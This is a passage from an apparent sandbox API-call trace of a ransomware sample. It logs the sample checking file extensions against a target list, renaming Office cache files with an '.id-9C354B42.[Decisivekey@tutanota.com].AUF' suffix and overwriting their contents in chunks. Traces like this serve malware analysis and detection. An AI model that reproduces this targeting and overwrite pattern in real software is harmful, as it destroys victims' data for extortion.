dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.868] WriteFile (in: hFile=0x180, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.870] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.870] WriteFile (in: hFile=0x180, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.874] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.874] WriteFile (in: hFile=0x180, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.877] CloseHandle (hObject=0x180) returned 1 [0205.194] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.194] lstrlenW (lpString=".doc") returned 4 [0205.194] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.194] lstrlenW (lpString=".docx") returned 5 [0205.194] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.194] lstrlenW (lpString=".pdf") returned 4 [0205.194] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.194] lstrlenW (lpString=".xls") returned 4 [0205.194] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.194] lstrlenW (lpString=".xlsx") returned 5 [0205.194] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.194] lstrlenW (lpString=".ppt") returned 4 [0205.194] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.194] lstrlenW (lpString=".zip") returned 4 [0205.194] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.194] lstrlenW (lpString=".rar") returned 4 [0205.194] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.194] lstrlenW (lpString=".bz2") returned 4 [0205.194] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.194] lstrlenW (lpString=".7z") returned 3 [0205.194] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.194] lstrlenW (lpString=".dbf") returned 4 [0205.195] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".1cd") returned 4 [0205.195] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".jpg") returned 4 [0205.195] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".doc") returned 4 [0205.195] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString=".docx") returned 5 [0205.195] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.195] lstrlenW (lpString=".pdf") returned 4 [0205.195] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.195] lstrlenW (lpString=".xls") returned 4 [0205.195] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.195] lstrlenW (lpString=".xlsx") returned 5 [0205.195] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.195] lstrlenW (lpString=".ppt") returned 4 [0205.195] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".zip") returned 4 [0205.195] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.195] lstrlenW (lpString=".rar") returned 4 [0205.195] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.195] lstrlenW (lpString=".bz2") returned 4 [0205.195] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString=".7z") returned 3 [0205.195] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".dbf") returned 4 [0205.195] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".1cd") returned 4 [0205.195] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0205.195] lstrlenW (lpString=".jpg") returned 4 [0205.195] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.195] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0205.195] lstrlenW (lpString="PubLR.cab") returned 9 [0205.195] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0205.196] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=9958388) returned 1 [0205.196] CloseHandle (hObject=0x180) returned 1 [0205.196] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0205.196] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.196] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0205.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0205.196] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0205.196] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.196] ReadFile (in: hFile=0x180, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.437] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.437] ReadFile (in: hFile=0x180, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.543] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0205.543] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.543] ReadFile (in: hFile=0x180, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.625] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.625] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0205.638] SetEndOfFile (hFile=0x180) returned 1 [0205.641] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0205.641] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.643] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0205.643] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.647] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0205.647] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.651] CloseHandle (hObject=0x180) returned 1 [0206.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0206.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.575] lstrlenW (lpString=".doc") returned 4 [0206.575] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.575] lstrlenW (lpString=".docx") returned 5 [0206.575] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.576] lstrlenW (lpString=".pdf") returned 4 [0206.576] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".xls") returned 4 [0206.576] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".xlsx") returned 5 [0206.576] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.576] lstrlenW (lpString=".ppt") returned 4 [0206.576] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".zip") returned 4 [0206.576] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".rar") returned 4 [0206.576] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".bz2") returned 4 [0206.576] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.576] lstrlenW (lpString=".7z") returned 3 [0206.576] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".dbf") returned 4 [0206.576] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".1cd") returned 4 [0206.576] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".jpg") returned 4 [0206.576] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".doc") returned 4 [0206.576] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".docx") returned 5 [0206.576] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0206.576] lstrlenW (lpString=".pdf") returned 4 [0206.576] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".xls") returned 4 [0206.576] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".xlsx") returned 5 [0206.576] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0206.576] lstrlenW (lpString=".ppt") returned 4 [0206.576] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.576] lstrlenW (lpString=".zip") returned 4 [0206.576] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".rar") returned 4 [0206.576] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0206.576] lstrlenW (lpString=".bz2") returned 4 [0206.576] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0206.576] lstrlenW (lpString=".7z") returned 3 [0206.577] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0206.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.577] lstrlenW (lpString=".dbf") returned 4 [0206.577] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0206.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.577] lstrlenW (lpString=".1cd") returned 4 [0206.577] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0206.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0206.577] lstrlenW (lpString=".jpg") returned 4 [0206.577] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0206.577] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0206.577] lstrlenW (lpString="Proof.cab") returned 9 [0206.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0206.577] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=11482605) returned 1 [0206.577] CloseHandle (hObject=0x180) returned 1 [0206.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0206.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.577] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0208.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0208.012] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0208.012] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0208.012] ReadFile (in: hFile=0x180, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0208.528] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0208.528] ReadFile (in: hFile=0x180, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0208.705] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0208.705] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0208.705] ReadFile (in: hFile=0x180, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0208.757] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.757] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0208.771] SetEndOfFile (hFile=0x180) returned 1 [0208.771] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.771] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.771] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.771] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.776] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.776] WriteFile (in: hFile=0x180, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.777] CloseHandle (hObject=0x180) returned 1 [0210.634] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0210.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.634] lstrlenW (lpString=".doc") returned 4 [0210.634] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.634] lstrlenW (lpString=".docx") returned 5 [0210.634] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.634] lstrlenW (lpString=".pdf") returned 4 [0210.634] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".xls") returned 4 [0210.635] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".xlsx") returned 5 [0210.635] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.635] lstrlenW (lpString=".ppt") returned 4 [0210.635] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".zip") returned 4 [0210.635] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".rar") returned 4 [0210.635] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".bz2") returned 4 [0210.635] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.635] lstrlenW (lpString=".7z") returned 3 [0210.635] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".dbf") returned 4 [0210.635] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".1cd") returned 4 [0210.635] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".jpg") returned 4 [0210.635] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".doc") returned 4 [0210.635] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".docx") returned 5 [0210.635] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.635] lstrlenW (lpString=".pdf") returned 4 [0210.635] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".xls") returned 4 [0210.635] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".xlsx") returned 5 [0210.635] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.635] lstrlenW (lpString=".ppt") returned 4 [0210.635] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.635] lstrlenW (lpString=".zip") returned 4 [0210.635] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".rar") returned 4 [0210.635] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.635] lstrlenW (lpString=".bz2") returned 4 [0210.635] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.635] lstrlenW (lpString=".7z") returned 3 [0210.635] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.636] lstrlenW (lpString="C:\\MSOCache\\All 